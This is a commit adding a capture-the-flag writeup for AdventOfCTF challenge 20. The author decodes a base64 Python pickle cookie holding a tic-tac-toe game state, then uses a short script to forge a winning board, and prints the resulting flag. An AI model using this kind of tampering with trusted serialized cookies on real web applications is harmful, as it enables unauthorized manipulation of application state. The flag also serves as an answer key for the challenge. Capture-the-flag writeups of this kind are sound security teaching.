Add challenge 20 of adventofctf

2026-09-27 20:46:25 +00:00 · 2021-02-26 11:16:59 +01:00
parent 331af8b4e1
commit fb186f5fc8
2 changed files with 119 additions and 0 deletions
@@ -0,0 +1,119 @@
+++
+author = "Maik de Kruif"
+title = "Challenge 20 - AdventOfCTF"
+date = 2021-02-26T00:11:35+23:00
+description = "A writeup for challenge 20 of AdventOfCTF."
+cover = "img/adventofctf/c1f93b6ee2e1cd25ea02f9a78c364b12.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+    "python",
+    "serialization",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
+++
+
+- Points: 2000
+
+## Description
+
+To pass the time until Christmas the elves challenge Santa to a game of tic-tac-toe. Santa plays X, can you make him win?
+
+Visit https://20.adventofctf.com to start the challenge.
+
+## Recon
+
+When looking around on the page, we can see a tic tac toe board with two links in it. These links direct to `/play/y/x` and place an `O` on the board. After placing it, `O` wins.
+
+If we take a look at the source, we also find a bit of javascript:
+
+```js
+function send() {
+  let emoji = $("#emoji")[0].value;
+  if (emoji.length > 0) {
+    $.post("/", { emoji: emoji }, function (data) {
+      $("#msg")[0].innerHTML = "<b>" + data + "</b>";
+    });
+  }
+}
+```
+
+This code doesn't seem to be used though and I don't see what it would be used for so we'll ignore it for now.
+
+Lastly, we can check the cookies on the website. Here we can find the `game` cookie. It looks like it's some `base64` encoded data.
+
+```text
+game=gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu
+```
+
+## Finding the vulnerability
+
+We will start by having a look at the `game` cookie. If we base64 decode it we do see some information about a board, but its not plain text.
+
+```bash
+echo -n "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu" | base64 -d
+```
+
+```text
+�}q(Xboardq]q(]q(XOqhNe]q(hXXqhe]q(NhheeXturnhfinishedq	�Xwinnerq
+NXsaneq
+       �u.⏎
+```
+
+By the looks of it, it might be a serialized object but we don't know where it came from.
+
+To find out what the backend framework of the server is, we can look at the `Server` header in the http response. This is not always filled in with useful information, but this time it was.
+
+```text
+Server: Werkzeug/1.0.1 Python/3.7.10
+```
+
+Here we can see the website uses Python for the backend. This narrows the amount of possible serialization libraries down a lot. A common library used for this in Python is Pickle.
+
+To test whether the cookie is encoded pickle data, we can use the pickle's `loads` function to import the data from a string:
+
+```text
+>>> import pickle
+>>> import base64
+>>> pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"))
+{'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': False, 'winner': '', 'sane': True}
+```
+
+Yes! It's using pickle and we can now try to alter the board.
+
+## Exploit
+
+To alter the board, we can write a little Python script like the following. You can't just put three `X` in a row as the backend checks the game state. To get around this, we can just place a few `O` on the board.
+
+```py
+import base64
+import pickle
+
+board_b64 = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"
+
+data = pickle.loads(base64.b64decode(board_b64))
+
+data["board"] = [['X', 'X', 'X'], ['O', None, None], [None, None, 'O']]
+data["winner"] = 'X'
+data["turn"] = 'O'
+
+print(base64.b64encode(pickle.dumps(data)))
+```
+
+```text
+gASVVwAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBWJRoBGgEZV2UKIwBT5ROaAZlXZQoTk5OZWWMBHR1cm6UaAaMCGZpbmlzaGVklImMBndpbm5lcpRoBIwEc2FuZZSIdS4=
+```
+
+We can then replace the `game` cookie with this string and reload the page.
+
+## Solution
+
+We got the flag! It is `NOVI{p1ckle_r1ck}`.